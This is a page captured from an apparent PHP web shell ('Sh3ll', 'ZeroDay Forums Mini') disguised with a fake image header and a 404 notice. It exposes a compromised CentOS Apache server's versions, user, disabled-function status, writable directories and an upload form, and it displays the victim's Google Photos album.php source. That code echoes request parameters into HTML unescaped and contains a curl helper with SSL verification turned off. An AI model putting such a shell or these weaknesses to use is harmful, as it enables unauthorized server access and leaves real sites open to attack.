ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/photos/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/photos/albums/album.php
<?php
/**
 * Copyright 2018 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

use Google\Photos\Library\V1\Album;
use Google\Photos\Library\V1\PhotosLibraryClient;
use Google\Photos\Library\V1\PhotosLibraryResourceFactory;
use Google\Rpc\Code;

    /**
 * Allows the user to create a new album and edit an album, if the album is writeable.
 *
 */

require '../common/common.php';

checkCredentials($templates->render('albums::connect'));
$photosLibraryClient = new PhotosLibraryClient(['credentials' => $_SESSION['credentials']]);

/**
 * Creates a new album with the given name.
 *
 * If the album cannot be created, renders an error. Otherwise, the new ID is used for the later
 * rendering steps.
 */
if (isset($_GET['create'])) {
    $newAlbum = new Album();
    $newAlbum->setTitle($_GET['create']);
    try {
        $createdAlbum = $photosLibraryClient->createAlbum($newAlbum);
        $albumId = $createdAlbum->getId();
    } catch (\Google\ApiCore\ApiException $e) {
        echo $templates->render('error', ['exception' => $e]);
    }
}

/*
 * The album ID for this page can come from two places: the newly created album, or the existing ID
 * in  the request parameters. If there is an ID in the request parameters, and one hasn't just been
 * created then we use the one from the request parameters.
 */
if (isset($_GET['id']) && !isset($albumId)) {
    $albumId = $_GET['id'];
}

/**
 * Adds the uploaded media to the album at a given position.
 * Makes one upload call for each uploaded file, and then constructs NewMediaItems for each.
 * Finally, batchCreateMediaItems is called using the album ID set above,
 */
if (isset($_FILES['media_uploads'])) {
    $uploads = [];
    $numFiles = count($_FILES['media_uploads']['name']);
    $newMediaItems = [];
    for ($i = 0; $i < $numFiles; $i++) {
        $uploadToken = $photosLibraryClient->upload(
            file_get_contents($_FILES['media_uploads']['tmp_name'][$i]),
            $_FILES['media_uploads']['name'][$i]
        );
        $newMediaItems[] = PhotosLibraryResourceFactory::newMediaItem($uploadToken);
    }

    try {
        $batchCreateResponse =
            $photosLibraryClient->batchCreateMediaItems($newMediaItems, ['albumId' => $albumId]);
    } catch (\Google\ApiCore\ApiException $e) {
        echo $templates->render('error', ['exception' => $e]);
        die();
    }

    // An OK status (i.e., an exception wasn't thrown above) isn't sufficient to say all the items
    // succeeded. You also need to check the status in each NewMediaItemResult.s
    $statuses = [];
    foreach ($batchCreateResponse->getNewMediaItemResults() as $itemResult) {
        $status = $itemResult->getStatus();
        if ($status->getCode() != Code::OK) {
            $statuses[] = $status;
        }
    }

    if (count($statuses) > 0) {
        echo $templates->render('error', ['exception' => $statuses]);
        die();
    }
}

/**
 * Displays the album's media items, and functionality to add new items.
 */
if (isset($albumId)) {
    /*$url = 'https://photoslibrary.googleapis.com/v1/sharedAlbums';
    $authorization = "Authorization: Bearer ".$_SESSION['access_token'];
    $data = array("sharedAlbumOptions"=>array("isCollaborative"=>"false","isCommentable"=>"false"));
    $data_string = json_encode($data);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        $authorization
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    //curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    $arr = json_decode($result,true);
    $shareToken = '';
    foreach ($arr['sharedAlbums'] as $val){
        if($val['id']=='ANLwX-2OXYSydFTowjjGcqTn7Ui-sIbBA6T6WxecwTSYod4_IE-70WaiyQShKsgc0OTQ0-OK_-IJ'){
            $shareToken = $val['shareInfo']['shareToken'];
            $url2 = 'https://photoslibrary.googleapis.com/v1/sharedAlbums/'.$shareToken;

        }
    }
    $url2 = 'https://photoslibrary.googleapis.com/v1/sharedAlbums/'.$shareToken;
    $authorization2 = "Authorization: Bearer ".$_SESSION['access_token'];
    $ch = curl_init($url2);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        $authorization2
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    //curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $result2 = curl_exec($ch);
    curl_close($ch);
    print_r($result2);
    exit();

    echo $url2;
    exit();
    print_r($arr);
    exit();

    exit();*/

    //join share album
    /*$url = 'https://photoslibrary.googleapis.com/v1/sharedAlbums:join';
    $authorization = "Authorization: Bearer ".$_SESSION['access_token'];
    $data = array();
    $data_string = json_encode($data);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Content-Length: ' . strlen($data_string),
        $authorization
    ));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $result = curl_exec($ch);
    curl_close($ch);

    print_r($result);
    exit();*/

    //share album
    /*$url = 'https://photoslibrary.googleapis.com/v1/albums/'.$albumId.':share';
    $authorization = "Authorization: Bearer ".$_SESSION['access_token'];
    $data = array("sharedAlbumOptions"=>array("isCollaborative"=>"false","isCommentable"=>"false"));
    $data_string = json_encode($data);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Content-Length: ' . strlen($data_string),
        $authorization
    ));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $result = curl_exec($ch);
    curl_close($ch);

    print_r($result);
    exit();*/

    //list album
    $url = 'https://photoslibrary.googleapis.com/v1/mediaItems:search';
    $authorization = "Authorization: Bearer ".$_SESSION['access_token'];
    //$post = array('pageSize'=>'100','albumId'=>$albumId);

    $data = array("pageSize"=>"100","albumId"=>"$albumId");
    if(isset($_GET['next_page']) and $_GET['next_page']!=''){
        $data = array("pageSize"=>"100","albumId"=>"$albumId","pageToken"=>$_GET['next_page']);
    }

    $data_string = json_encode($data);

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Content-Type: application/json',
            'Content-Length: ' . strlen($data_string),
             $authorization
    ));

    //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json',$authorization));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    $next_page = '';
    $arr = json_decode($result,true);

    if($arr['nextPageToken'] and $arr['nextPageToken']!='') {
        $next_page = $arr['nextPageToken'];
    }



    $i = 1;
    echo '<ul>';
    foreach ($arr['mediaItems'] as $val){
        $url = $val['productUrl'];
        echo '<li style="font: 200 20px/1.5 Helvetica, Verdana, sans-serif;
  border-bottom: 1px solid #ccc;"><a href="'.$val['productUrl'].'" target="_blank">'.str_replace('.mp4','',$val['filename']).'</a></li>';
        $i++;
    }
    echo '</ul>';
    if($next_page!=''){
        echo '<p align="center"><a href="album.php?id='.$albumId.'&next_page='.$next_page.'">Next</a></p>';
    }
    exit();

    $response = $photosLibraryClient->searchMediaItems(['albumId' => $albumId]);
    print_r($response->iterateAllElements() );
    exit();

    print_r($_SESSION['access_token']);
    exit();
    try {
        $album = $photosLibraryClient->getAlbum($albumId,array());
        $searchInAlbumResponse =
            $photosLibraryClient->searchMediaItems(['albumId' => $album->getId()]);
        echo $templates->render(
            'albums::album',
            ['album' => $album, 'mediaItems' => $searchInAlbumResponse->iterateAllElements()]
        );
    } catch (\Google\ApiCore\ApiException $e) {
        echo $templates->render('error', ['exception' => $e]);
    }
} else {
    echo $templates->render('error', ['exception' => 'An ID must be.']);
}
function post($url,$data) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36';
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_REFERER, 'http://www.anivn.com');
//curl_setopt($process, CURLOPT_HEADER, 1);
    curl_setopt($process, CURLOPT_USERAGENT, $user_agent);
    //curl_setopt($process, CURLOPT_COOKIEFILE, 'cookies.txt');
    // curl_setopt($process, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($process, CURLOPT_ENCODING , 'gzip');
    curl_setopt($process, CURLOPT_TIMEOUT, 10);
//if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
    curl_setopt($process, CURLOPT_POSTFIELDS, $data);
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($process, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($process, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($process, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt($process, CURLOPT_POST, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}

ZeroDay Forums Mini